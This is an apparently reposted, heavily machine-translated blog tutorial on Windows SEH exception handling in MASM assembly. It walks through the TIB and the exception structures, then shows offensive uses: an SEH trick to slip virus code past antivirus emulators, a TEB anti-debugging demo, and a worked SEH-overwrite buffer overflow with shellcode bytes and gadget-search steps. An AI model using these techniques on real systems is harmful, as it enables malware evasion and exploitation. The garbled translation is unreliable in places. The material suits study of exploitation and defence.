SEH exception handling learning summary

xiaoxiao2021-03-06  46

For a few more time, when I saw an exception handling chapter, I found that this part really had urine :) So I got the relevant content, I was quite rich. Of course, some I still don't understand, and now take these babies out to share with you.

First let's take a look at several cases:

A. Used to handle non-fatal errors

B. The inspection of the legitimacy of the parameters of the API function (assuming parameters is legal, only the legitimacy test is performed when there is abnormal)

C. Handling fatal errors (the best choices when you exit, however, you can use an exception handler to release resources before you quit, delete temporary files, etc.

D. Handling an exception of "planned" (we may care more about this, because you can do a lot of hands and feet, haha)

Then we look at the two ways of exception processing under Windows: 1 Use the filter 2 SEH abnormally processed

First, use the filter

Because here I have to focus on the way SEH's processing, so it is still a simple printing method. Filter abnormal processing is to specify the program processing exception by an exception callback function. The callback function in this way must be unique and the previously invalidation after setting the new callback function. Suitable for process ranges. Look at the definition of this function

Invoke setunhandexecpionFilter, Offset_Handler

Mov LPPREVHANDAL, EAX

(Some uncomfortable first, it will come back tomorrow)

###### Question out: I think of a word "commander", I feel very reasonable: I will not be a good tomorrow, but it will be a better tomorrow! Bless all friends. ######

There is a meeting in the morning, nothing, afternoon? There is also a meeting, I am dizzy, I don't sleep at noon, and I don't do things in my heart.

The format of the callback function:

_HandlerProc PEXECPTIONINFO

See a data structure pointed to the PEXECPTIONINFO pointer parameter

Exception_Pointers Struct

PEXCEPTIONRECORD DWORD?

ContextRecord DWORD?

Exception_Pointers Ends

The definition of Exception_Record and Context structures is described below:

; / / ===================== The following is the detailed structure of the two members =================== =======

Exception_Record Struct

EXCEPTIONCODE DWORD?; // Unusual code

ExceptionFlags DWORD?; // Abnormal flag

PEXCEPTIONRECORD DWORD?; // Pointer to another Exception_Record

ExceptionAddress DWORD?; // Abnormal address

NumberParameters DWORD?; // Number of DWORD contained below Exceptioninformation

Exceptioninformation DWORD EXCEPTION_MAXIMUM_PARAMETERS DUP (?) Exception_Recordends; // Exception_Maximum_Parameters == 15

; / / ============================= Specific explanation ================= ================

ExceptionCode exception type, there are many types in SDK, you can find more exception type in Windows.inc, only give the HEX value below, please check with Windows.inc, you can encounter Several types are as follows:

C0000005H ---- Read and write memory conflicts

C0000094H ---- illegal except 0

C00000FDH ---- Stack overflow or speaks

80000001H ---- Conflict by Virtual Alloc

C0000025h ---- Unopeless, the program cannot resume execution, the exception handling routine should not process this different

C0000026H ---- The code used in the system during the exception handling process, if the system returns from a routine, this code will appear. If rtlunwind does not have an Exception Record parameter, it will also fill in this code.

80000003H ---- Due to INT3 interruption during the debugging

80000004H ---- is in a single-step debugging state

Note: You can also define an exception code yourself, follow the rules:

________________________________________________________________________________________

Bit: 31 ~ 30 29 ~ 28 27 ~ 16 15 ~ 0

________________________________________________________________________________________

Meaning: Severity 29-bit function code exception code

0 == Success 0 == MCrosoft Microsoft Defines User Definition

1 == Notification 1 == Customer

2 == Warning 28

3 == Error is reserved must be 0

ExceptionFlags exception logo

0 ---- can repair abnormalities

1 ---- Do not repair unusual

2 ---- is being launched, don't try to fix what, if you need, release the necessary resources

PexceptionRecord If the program itself causes an exception, point to that abnormal structure

ExceptionAddress has an exception EIP address

ExceptionInformation additional message, when calling raiseexception, or during the abnormal number C0000005h, the memory is abnormal, the memory is as follows

The first DWORD 0 == read conflict 1 == write conflict

Second DWORD read and write conflict address

; / / ================================ Interpretation end ============= ================ OFF.

Context struct;

CONTEXTFLAGS DWORD?; | 0

IDR0 DWORD?; | 4

IDR1 DWORD?; | 8

IDR2 DWORD?;> Debug Register C

IDR3 DWORD?; | 10

IDR6 DWORD?; | 14

IDR7 DWORD?; _ | 18

FLOATSAVE FLOATING_SAVE_AREA <>; floating point register area 1C ~~~ 88H

Reggs dWord?;; - | 8C

REGFS DWORD?; | / Segment Meter 90

Reges DWORD?; | / 94

Regds DWORD?;; - | 98

Regedi DWORD?; ____________ 9c

Regesi DWORD?; | Universal A0

Regebx DWORD?; | send a4

Regedx DWORD?; | 存 A8

Regecx DWORD?; | |

Regeax DWORD?; _______ | ___ group _ b0

Regebp DWORD?; B4

Regeip DWORD?; | Control B8

Regcs dword?; | storage BC

REGFLAG DWORD?; | | Unit C0

Regesp DWORD?; | C4

Regss dword?; C8EXtendedRegisters DB Maximum_supported_extension dup (?)

Context ends

; // ============================ or more is the detailed structure of the two members =========== =

The program can be found to find an abnormal address by looking at the regep in the above structure using the filter exception processing! When debugging, you can change the value of the EIP to reach the abnormal program and go to the "secure" place.

Last look at the return value of the filter exception handling the callback function

EXECPTION_EXECUTE_HANDLER 1; the process is terminated, there is no prompt error before termination.

EXECPTION_CONTINUE_SEARCH 0; the same termination program, display the error dialog

EXECPTION_CONTINUE_EXECUTION -1; The system sets the Contect to continue the executive

Using the filter program is the simplest method of processing an exception, not enough: 1 is not convenient for packaging. 2 Treatment is global, that is, it is not possible to set a private exception handler for each thread or subroutine to perform an exception handler.

Enter the topic: SEH abnormal treatment

First explain what is SEH exception handling: SEH ("Structured Exception Handling"

Structured abnormal processing. It is an operating system to provide powerful handler or abnormal weapons for program designers.

The following combines a SEH exception handler for cold rain to illustrate the specific usage:

; // ================================================ =====================

; // EX. 2, by hume, 2001 thread related abnormal processing

; // ================================================ =====================

.386

.Model flat, stdcall

Option Casemap: None; Case SensitiveInClude HD.H; // Related header files, you protect one yourself

; // ============================

.DATA

SZCAP DB "by Hume [AFO], 2001 ...", 0

SZMSGOK DB "It's now in the per_thread handler!", 0

Szmsgerr1 DB "IT Would Never Get Here!", 0

BUFF DB 200 DUP (0)

.code

_Start:

; // ======== prog begin ====================

Assume fs: Nothing

Push offset perthread_handler

Push fs: [0]

MOV FS: [0], ESP; // Establish SEH's basic ERR structure, if you don't understand, take a closer study.

XOR ECX, ECX

MOV EAX, 200

CDQ; // Double word extension to four bytes, because it is division

Div ECX

; // The following will never be executed

Invoke Messagebox, NULL, AddR Szmsgerr1, Addr Szcap, MB_OK MB_ICONITIONFORMATION

POP FS: [0]

Add ESP, 4

Invoke EXITPROCESS, NULL

; // ============================

Perthread_handler:

Invoke Messagebox, Null, Addr Szmsgok, Addr Szcap, MB_OK MB_ICONITIONFORMATION

MOV EAX, 1; // ExceptionContinuesearch, no processing, by other routines or system processing

Mov Eax, 0; // ExceptionContinueexecution, indicating that CONTEXT has been fixed, can continue to execute from abnormal events

Ret; / / Here if you return 0, you will fall into a dead loop, and continue to jump out of the dialog. ...

; // ===================================================

End _start

The program itself is very simple, and the comments are also detailed. Let's take a look at how to register the callback function.

Push offset perthread_handler

Push fs: [0]

MOV FS: [0], ESP

Just three statements are solved ~ So why use FS segment registers? Here is an important content: TIB (Thread Information Block Connection Information Block). Let's take a look at this important data structure (quoted "Luo Cong talks about the use of SEB implementation against tracking")

TEB (Thread Environment Block) is called Tib (Thread Information Block) in the Windows 9x Series, which records important information for threads, and each thread corresponds to a TEB structure. Matt Pietrek Big Big has given us a structure, I don't have much to say, see below: (Excerpted from Matt Pietrek Under the Hood - MSJ 1996)

/ / =========================================================================================================================================================================================== ===========

// file: tib.h

// Author: Matt Pietrek

// from: Microsoft Systems Journal "Under THE HOOD", May 1996

/ / =========================================================================================================================================================================================== ===========

#pragma pack (1)

TypeDef struct _exception_registration_record

{

Struct_exception_registration_record * pnext;

FarProc PfnHandler;

} EXCEPTION_REGISTRATION_RECORD, * PEXCEPTION_REGISTRATION_RECORD;

Typedef struct_tib

{

PEXCEPTION_REGISTRATION_RECORD PVEXCEPT; // 00h Head of Exception Record List

Pvoid ​​PvStackUsertop; // 04h Top of User Stack

Pvoid ​​PvStackuserBase; // 08H Base of User Stack

Union // 0ch (NT / WIN95 DIFFERENCES)

{

Struct // Win95 Fields

{

Word pvtdb; // 0ch tdb

Word Pvthunkss; // 0eh ss selector buy for thunking to 16 bitsdword unknown1; // 10h

} Win95;

Struct // Winnt Fields

{

Pvoid ​​subsystemtib; // 0ch

Ulong fiberdata; // 10h

Winnt;

} TIB_Union1;

PVOID PVARBITRARY; / / 14H Available for Application USE

Struct_tib * ptibself; // 18h Linear Address of Tib Structure

Union // 1CH (NT / Win95 Differences)

{

Struct // Win95 Fields

{

Word Tibflags; // 1ch

Word win16mutexcount; // 1eh

DWORD DebugContext; // 20h

DWORD PCURRENTPRIORITY; / / 24H

DWORD PVQUEUE; // 28h Message Queue Selector

} WIN95;

Struct // Winnt Fields

{

DWORD UNKNOWN1; // 1CH

DWORD processID; // 20h

DWORD thREADID; // 24h

DWORD UNKNOWN2; / / 28H

Winnt;

} TIB_Union2;

PVOID * PVTLSARRAY; // 2ch thread local storage array

Union // 30h (NT / WIN95 DIFFERENCES)

{

Struct // Win95 Fields

{

PVOID * PPRocess; // 30h Pointer to Owning Process Database

} Win95;

} TIB_UNION3;

} TIB, * PTIB;

#pragma pack ()

Let us look up to see the code of the Matt Pietrek above, there is such a line:

PEXCEPTION_REGISTRATION_RECORD PVEXCEPT; // 00h Head of Exception Record List

Note this definition of PEXCEPTION_REGISTRATION_RECORD, indicating that PVEXCEPT variable is the entry of Exception Record List, which is located at 0 offset of the entire structure. At the same time, in the M's Intel i386 Windows NT / 2K / XP core, whenever you create a thread, the OS allocates a TEB for each thread, and TEB is always placed at 0 offset of the data segment specified by the FS segment selector. .

In this way, you understand why the offset of SEH registration is in FS: [0]?

In fact, the Windows system is through this approach to provide information for the application, such as such an example:

Struct_tib * ptibself; // 18h Linear Address of Tib Structure

DWORD thREADID; // 24h

Windows offers an API: getCurrentThreadId (), its internal working principle is actually like this: (using the above two addresses) MOV EAX, FS: [18h]; because the 18h offset is the linear part of the TIB structure Transfer address

MOV EAX, [EAX 24H]; because the 24h offset is the address of ThreadID

Ret; returns the ThreadID address stored in EAX

Note: Why do you want to declare Assume Fs: Nothing? Because the MASM compiler defines the FS segment register by default to Error, the program must start it before using FS!

Next, look at the callback function of SEH

_Handler proc _lpexecptionRecord, _lpseh, lp_context, lp_dispatcherContext

_LpexecptionRecord points to an Execption_Record structure.

LP_CONTEXT points to a context structure.

_LPseh points to the address of the Exxception_Registration structure used when registering the callback function.

The return value has four values:

EXECPTIONCONTINUEEXECUTION (0

: The system sets the thread environment to the context structure pointing to _lpContext and proceeds to execute.

ExceptionContinueSearch (1): The callback function refuses to handle this exception, and the system gets the address of the previous callback function via the Execption_Registration structure of the prev field and calls it.

ExecptionnestedExecption (2): Exception nesting.

ExecptionCollidedunwind (3): Exceptions. This part does not talk more, interested, you can look at Luo Yunbin's book, is actually a very important part.

If a program has both filter exception processing and SEH exception processing, and the system has the default exception handling mechanism, what is the order they call?

The processing order of the system when an abnormality is occurring (by jeremy gordon):

1. The system first determines whether an exception should be sent to the target program, if the decision should be sent, and the target program is being debugged, the system suspended the program and sends an Exception_Debug_event message to the debugger. Oh, this is not just right To detect the existence of the debugger?

2. If your program is not debugged or the debugger fails to handle an exception, the system will continue to find whether the thread-related exception handling routine is installed. If you have the thread-related exception handling routine, the system will make an exception Send it to your program SEH processing routine, which is handled.

3. Each thread-related exception handling routine can handle or do not process this exception, if he does not process and installing multiple thread-related exception handling routines, it can be handed over to other routines.

4. If these routines choose not to process exceptions, if the program is in a debugged state, the operating system will still suspend the program to inform the debugger.

5. If the program is not in a debug state or the debugger is not able to process, and you call SetunHandledExceptionFilter to install the last traveling routine, the system turns to its call to it.

6. If you do not have the last exception handling routine or he does not process this exception, the system calls the default system handler, usually display a dialog, you can select Off or finally attach it to the debug button on the debugger. If no debugger can be attached or the debugger can't process, the system calls the EXITPROCESS termination.

7. However, before the end, the system still handles the abnormal thread exception handle, which is the chance to clean up the thread exception handling routine.

Said that so much, you may ask if the SEH is abnormally handled, what is the use? Oh, and listen to the child slowly came ~~~

The first food: the virus program uses SEH

It is simple to say how to use the SEH exception handler to avoid the anti-virus engine of the poisonous software. An anti-virus engine will simulate the code of the program when running, when the discovery of the program code is more, will be reported as a virus. Take a look at the following program: start: call set_seh; this is actually Push Offset Continue

JMP set_seh

Continue: MOV ESP, [ESP 8]; [ESP 8] is stored for the old stack address.

Push Offset Start_virus; ----_Photo Start_virus's address stack as a return address

Ret; ---- Jump to start_virus, is it very MAGIC?

SET_SEH: SUB EDX, EDX; EDX = 0

Assume fs: Nothing

push dword ptr fs: [edx]; pointer points to the stack structure _EXCEPTIONAL_REGISTRATION_RECORD

MOV FS: [EDX], ESP; Install a SEH

MOV [EDX], EDX; causing a memory read and write conflict, exception occurs because EDX = 0

If the anti-virus engine does not deal with exception, do not enter the SEH handler (ie Continue:

Continue model

The next command is to be submitted, that is, JMP START, then enter a dead cycle, it may cause a crash.

JMP START

START_VIRUS: .....

Is it very simple? That is to let the anti-virus engine do not deal with this person's exception, enter the dead cycle ~! !

The second food: TEB anti-tracking

If your memory is good enough, you must remember that the TEB (TIB) thread information block structure described above is:

PVOID * PPRocess; // 30h Pointer to Owning Process Database

The content of this offset address is very useful, which points to the linear address of the PDB (Process Database) of the owner of this thread. When you use a dynamic debugger, such as ollydbg, the debugger is tracking the debug object as a sub-thread, in which case the "owner" of the object being debugged is the debugger itself, that is, The content of its offset pointing at its Teb is certainly not 0, so we can use this, determine the contents of 30h offset points to determine if there is a debugger tracking.

Finally, an Anti-Debug examples of procedures, compiled by the MASM, please use OllyDbg to load the debugger to see if normal operating results any different.

; ************************************************* *********

; Program Name: Demo uses the TEB structure to perform Anti-Debug

Please debug with ollydbg

Applicable OS: Windows NT / 2K / XP

; Author: Luo Cong

Date: 2003-2-9

; Source:

http://www.luocong.com (Lao Luo Fun Tiandi)

; Note: If you want to reprint, keep the whole process and indicate:

Reprinted from "Lao Luo Fun Tiandi" (

http://www.luocong.com)

; ************************************************* *********

.386

.Model flat, stdcall

Option Casemap: noneinclude /masm32/include/windows.inc

INCLUDE /MASM32/INCLUDE / WANEL32.INC

INCLUDE /MASM32/INCLUDE/USER32.INC

INCLUDELIB /MASM32/LIB/kernel32.lib

INCLUDELIB /MASM32/LIB/USER32.LIB

.DATA

SZCAPTION DB "Anti-Debug Demo By LC, 2003-2-9", 0

SZDebugged DB "Hah, Let Me Guess ... u r debugging me!

", 0

SZFINE DB "Good Boy, No Debugger Detected!", 0

.code

MAIN:

Assume fs: Nothing

MOV EAX, FS: [30H]; point to PDB (Process Database)

Movzx Eax, Byte PTR [EAX 2H]; no symbolic number zero extension

OR Al, Al

JZ _fine

_Debugged:

Push MB_OK or MB_ICONHAND

Push Offset Szcaption

Push offset szdebugged

JMP _Output

_Fine:

Push MB_OK or MB_ICONInformation

Push Offset Szcaption

Push Offset Szfine

_Output:

Push null

Call Messageboxa

Invoke EXITPROCESS, 0

End main

The third dish: use SEH to execute shellcode

Assuming an exception handling routine entry 00401053, the program is just executing the ESP is 0012FFC4, the previous FS: [0] is 0012FFE0

The case where the first member of the TIB structure is established is as follows:

Memory low address

| E0 | 12FFBC (ESP)

| Ff |

| 12 | - the first member of the RERR structure

| _00_ |

| 53 | 12FFC0

| 10 |

| 40 | The second member of the RERR structure

| 00 |

Memory high address

Ok, then the program Call has a function, there is a partial variable and an overflow when the data written in the space allocated. At this time, the stack is as follows

____

| | 12F000 local variable allocated space, and overflows to the 12FFC0 direction.

| | |

....

....

| _EBP | 12FFB4 Save Old EBP

| XX |

| XX |

| XX |

| _Eip | 12ffb8 Call function EIP Put

| XX |

| XX |

| _XX_ |

| E0 | 12ffbc (ESP) {When SEH works, EBX just points to this address (it can also be said to always point to the current ERR structure)}

| Ff |

| 12 | - the first member of the RERR structure

| _00_ |

| 53 | 12FFC0

| 10 |

| 40 | The second member of the RERR structure

| _00_ |

| | 12FFC4

Continue to see, assume that the overflow code has been 12FFC4, then the Call's function is returned, because the saved EIP is overflowing the code instead, the program is wrong (will not be wrong?), So that ESH starts to work (Note: during this The system should perform some operations, so EBX will point to the current ERR). So the program will jump to the address of the 12FFC0 to execute! And the Dongdong in the 12FFC0 is not the original 00401053. So we don't change the program What is the flow here? 12FFC0 What is written? Should be the address of the code in the memory of JMP EBX. This will eventually jump to 12FFBC. This four-byte is precious.

Now suppose JMP EBX's address in memory is 0x77E33F4D, let's take a look at the situation where the stack is now:

| EB | 12FFBC (ESP) {When ESH works, EBX just points to this address (it can also be said to always point to the current ERR structure)}

| 06 |

The first member of the 90 | --RR structure, after executing JMP EBX, it is executed here (EB 06 is a machine code for short jump JMP 12FFC4)

| _90_ | The next 90 is the machine code for NOP empty instructions.

| 4D | 12FFC0

| 3F |

The second member of the E3 | --RR structure, the entrance address of the error handling function (now the address of JMP EBX)

| _77_ |

| | 12FFC4

....

Well now to see what code is in 12FFC4. (Simple saying that this code is to calculate the start address of the true shellcode, then skip the execution.

Low address

| | 12F000 (Shellcode start address)

....

....

| 81 | 12FFC4

| C3 | add ebx, fffff03ch (EBX = 12FFC4, instruction length 6, the calculation of the calculation of the shellcode address)

| 3C |

| F0 |

| Ff |

| Ff |

| FF | 12FFCA JMP EBX

| D3 |

High address

test program

------------------------- Seh.asm ------------------

.386

.Model flat, stdcall

Option CaseMAP: NONE

Include ../include/User32.inc

Includelib ../lib/user32.lib

Include ../include/kernel32.inc

Includelib ../lib/kernel32.lib

.DATA

Hello DB 'uses an API that reads the INI file to demonstrate Win2000 local overflow', 0

LPFileName DB './seh.ini' ,0

LPAPPNAME DB 'IAM', 0

LpKeyname DB 'CZY', 0

LPDEFAULT DB 'DDD', 0

SZCAP DB "SEH TEST", 0

Szmsgok DB "OK, The Exceptoin Was Handled by Final Handler!", 0

Szmsgerr1 DB "IT Would Never Get Here!", 0

.code

Testov Proc

Local lpreturnedstring [2224]: Byte; Returned strings are made in the same way as C language, it is in the stack

Invoke GetPrivateProfileString, Offset LPAppname, Offset, LpKeyname, Offset LPDefault, Addr LPRETURNEDSTRING, 2249, OFFSET LPFILENAME

Invoke Messagebox, 0, AddR LpreturnedString, AddR LpreturnedString, 1

RET

Testov endp

Start:

Assume fs: Nothing

Invoke Messagebox, 0, Addr Szmsgerr1, Addr Szcap, 30H 1000H;

Push Offset Final_Handler; Pressing the normal error handler entry address

Push fs: [0]; press the address of the previous TIB

MOV FS: [0], ESP

Call Testov

POP FS: [0]; Restore FS: [0] final_handler:; Since the code overflows is not executed.

Invoke Messagebox, 0, Addr Szmsgok, Addr Szcap, 30H

Invoke EXITPROCESS, 0

MOV Eax, 1

RET

End Start

Bamboo

----------------- End -------------

1

How to better find JMP EBX code in memory:

Execute S 10: 0 l fffffffffffff D3 in Softice, but actually found

The address may not be executed. So use the following method:

Map32 kernel32 (in the current process finds the information of the mappled kernel32 dll)

Generally there is shown below:

Owner obj name obj # address size type

Kernel32 .Text 0001 001B: 77B61000 0005D1AE Code Ro

......

then

S 77B61000 L 5D1AE FF D3

If the display is displayed as follows:

Pattern Found AT 0023: 77E61674 ....

2) Questions about the size of the buffer:

With SEH's approach, you can at least be set to 1000 bytes. Your shellcode will not be covered by not know where it is overwritten!

This dish czy is not easy to eat: (I feel that it feels a bit difficult ~! Because about the buffer overflows it is too small, but good things should be retained, I will return to the head later!

The fourth food: API Hook with SEH Technology

This part doesn't want to start, give you a link.

http://www.luocong.com/articles/show_article.asp?teade_id=25

Finally, as a shortcomings of ending :) A person is only looking at your shortcomings to keep progress! Ha ha

The last loaded SEH exception handler in the SEH exception handling chain is always called, think about writing an exception handler if you spend a week, can perfectly process all exceptions, and hope that all from You have handled, but very unfortunate, such as you call an external module, and this module has a UGly SEH handling routine, his action is simple to terminate the program as long as there is an abnormality, haha, then you will die. . For example, if you want to encrypt the target code segment in your plus, then the handle of the handle is unusually installed, use your own installed handle to decrypt the code segment to continue execution, which is indeed a good idea, but regret Most C / C code uses the _Try {} _ Except {} block to ensure that it is running correctly, and these exception handling routines are installed after you registered with the routine of your housing, so it is in front of the chain, invalid One execution is executed, first is the process routine provided by the C / C compiler itself or other exception processing routine to process, which may be simple to end the program or ....

Tired! ~~~~~~

Write two days, wrong, should be spliced ​​ two days, there are many procedures and texts from hume, Lao Luo, and CZY "plagiarism" :) Hope Don't be angry ~~ World books Great copy. You will be mine, of course, I will share it. Oh, it's not enough now, the level is not enough.

转载请注明原文地址:https://www.9cbs.com/read-51588.html

New Post(0)